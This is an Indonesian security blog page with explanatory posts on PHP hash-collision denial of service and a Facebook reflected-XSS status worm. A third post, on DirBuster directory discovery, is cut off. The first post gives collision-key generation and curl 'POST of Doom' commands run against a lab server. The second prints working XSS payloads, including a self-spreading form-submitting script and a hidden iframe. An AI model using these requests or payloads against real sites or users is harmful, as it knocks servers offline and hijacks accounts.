Memahami Serangan Hash table Collision Denial of Service

0 komentar
Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.
Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.

Associative array atau Map
Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa  associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.

Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci “make”, maka akan keluar datanya yaitu “Jeep”. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci “color”, maka akan keluar datanya “green”.
Lalu apa hubungannya associative array dengan hash table?
Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja.  Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).
The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item – Data Structures and Algorithms, David J. Eck
Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?
Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.
Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.
Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.
Hash collision
Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).
Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi  (bucket) yang sama.
Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.
Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.
Perhatikan sekali lagi animasi di atas.
  1. Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.
  2. Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?
  3. Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?
Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).
Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision
Normal vs Worst Case
Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.
Source: Crosby and Wallach's "Denial of Service via Algorithmic Complexity Attacks"
Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).
Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.
Kompleksitas Algoritma
Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.
Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.
  1. Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.
  2. Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.
  3. Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.
  4. Dan seterusnya, data yang ke-n, total usaha adalah n.
Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+….+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.
Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.
source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/
 Implementasi Hash table dalam PHP
Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.

Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.
source: http://stblog.baidu-tech.com/?p=763
Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.
Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).
Key to Bucket
Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:
  1. hash(key) => hashcode berupa integer
  2. hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking
Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.
Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).
PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.
Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:
  1. Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.
  2. Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.
Mari kita coba cara yang ke-2 di bawah ini.
Hash Collision dengan Key Integer
Gambar di atas adalah eksekusi dari source php dari situs nikic.github.com. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?
Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:
<?php 
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
?>
Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.
Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24…) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).
Hash Collision dengan Key String
Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.
Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.
Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.
Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:
static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
 register ulong hash = 5381;
 
 /* variant with the hash unrolled eight times */
 for (; nKeyLength >= 8; nKeyLength -= 8) {
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
 }
 switch (nKeyLength) {
  case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 1: hash = ((hash << 5) + hash) + *arKey++; break;
  case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
 }
 return hash;
}
Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:
hash_t bernstein_hash(const unsigned char *key)
{
 hash_t h=5381;
 while(*key) h=33*h + *key++;
 return h;
}
Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.
hash(“A”) = 5381×33 + 65 = 5381×331 + 65×330
hash(“AB”) = hash(“A”) x 33 + 66 = 5381×332 + 65×331 + 66×330
hash(“ABC”) = hash(“AB”) x 33 + 67 = 5381×333 + 65×332 + 66×331 + 67×330
hash(“ABCD”) = hash(“ABC”) x 33 + 68 = 5381×334 + 65×333 + 66×332 + 67×331 + 68×330
Dengan kata lain hash dari string S dengan panjang n adalah:
5381×33n+∑ S[i] x 33n-i
Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.
hash(“A?”) = hash(“C?”)
65 * 33 + x = 67 * 33 + y
2145 + x = 2211 + y
x – y = 66
Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66.
  • Bila x=122 (kode ascii ‘z’),y adalah 56 (kode ascii ’8′),maka hash(“Az”)=hash(“C8″)
  • Bila x=121 (kode ascii ‘y’),y adalah 55 (kode ascii ’7′),maka hash(“Ay”)=hash(“C7″)
  • Bila x=120 (kode ascii ‘x’),y adalah 54 (kode ascii ’6′),maka hash(“Ax”)=hash(“C6″)
  • Bila x=119 (kode ascii ‘w’),y adalah 53 (kode ascii ’5′),maka hash(“Aw”)=hash(“C5″)
Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.
Equivalent Substring
Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(“Aw”)=hash(“C5″), akan berlaku:
  • hash(“prefix+Aw”)=hash(“prefix+C5″)
  • hash(“Aw+suffix”)=hash(“C5+suffix”)
  • hash(“prefix+Aw+suffix”)=hash(“prefix+C5+suffix”)
Dengan cara ini kita bisa mengembangkan collision “Aw” dan “C5″ menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:
  • hash(“xcvbAw”)=hash(“xcvbC5″)
  • hash(“52$$Aw”)=hash(“52$$C5″)
  • hash(“Aw889″)=hash(“C5889″)
  • hash(“Aw**”)=hash(“C5**”)
  • hash(“@@Aw**”)=hash(“@@C5**”)
Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(“Aw”)=hash(“C5″), sekarang kita coba tambahkan suffix ‘#’, berapakah h(“Aw#”) dan h(“C5#”) ?
  • h(“Aw”) = h(“C5″) = y
  • h(“Aw#”) = h(“Aw”) * 33 + ascii(‘#’)
  • h(“C5#”) = h(“C5″) * 33 + ascii(‘#’)
  • h(“Aw#”) = h(“C5#”) = y * 33 + ascii(‘#’)
Begitu juga dengan penambahan prefix. Mari kita lihat bila h(“Aw”)=h(“C5″) apakah h(“#Aw”)=h(“#C5″) juga?
  • h(“Aw”) = h(“C5″) = y
  • h(“Aw”) = 5381*33^2 + 65*33 + 119
  • h(“C5″) = 5381*33^2 + 67*33 + 53
  • h(“#Aw”)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(“Aw”) – 5381*33^2
  • h(“#C5″)=5381*33^3+35*33^2+67*33+53   = 5381*33^3 + 35*33^2 + h(“C5″) – 5381*33^2
  • h(“#Aw”) = h(“#C5″) = 5381*33^3 + 35*33^2 + y – 5381*33^2
Attacking via POST data
Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.
Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().
root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d "ABC=123&test=aaa"
Array
(
    [ABC] => 123
    [test] => aaa
)
Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(“Aw”)=hash(“C5″), maka kita bisa mulai dari “AwAwAw” kemudian melakukan kombinasi dengan mengganti substring “Aw” dengan “C5″:
  • AwAwAw
  • AwAwC5
  • AwC5Aw
  • C5AwAw
  • AwC5C5
  • C5C5C5
Bila kita mengirimkan POST request dengan post data:
“AwAwAw=&AwAwC5&AwC5Aw=&C5AwAw=&AwC5C5=&C5C5C5=”
maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.
Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:

POST of Doom
Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.
root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v 
* About to connect() to 192.168.7.198 port 80 (#0)
*   Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
> POST /hashcollision/test2.php HTTP/1.1
> User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
> Host: 192.168.7.198
> Accept: */*
> Content-Length: 1441792
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
> 
< HTTP/1.1 100 Continue
Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.

Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.

Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan cukup satu saja request yang mengandung parameter post yang 100% collision.
Dalam artikel selanjutnya kita akan membahas serangan DoS yang sama ke bahasa selain PHP, seperti Java.

Memahami Teknik Penyebaran Status Berantai di Facebook

0 komentar
Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWCe0smbO5j-zv-w2r4NOFpuoRa1wDPTZAv8OCOoRz-wBz4auw7QHzThZrxT3M0apdW3GQetd-l0xnfuTVyN_fWE_d8VJfEP4UNqMLTdQQJE6dt2MlvkOIXbS2g0RVR0z254CeE21e2Og/s320/Hacked.jpg"/>
Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>
Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

Berburu Direktori dan File Sensitif dengan DirBuster

0 komentar
Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.
Direktori Sensitif
Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:
  • Backup
Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan “database dump” dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.
  • Halaman Login
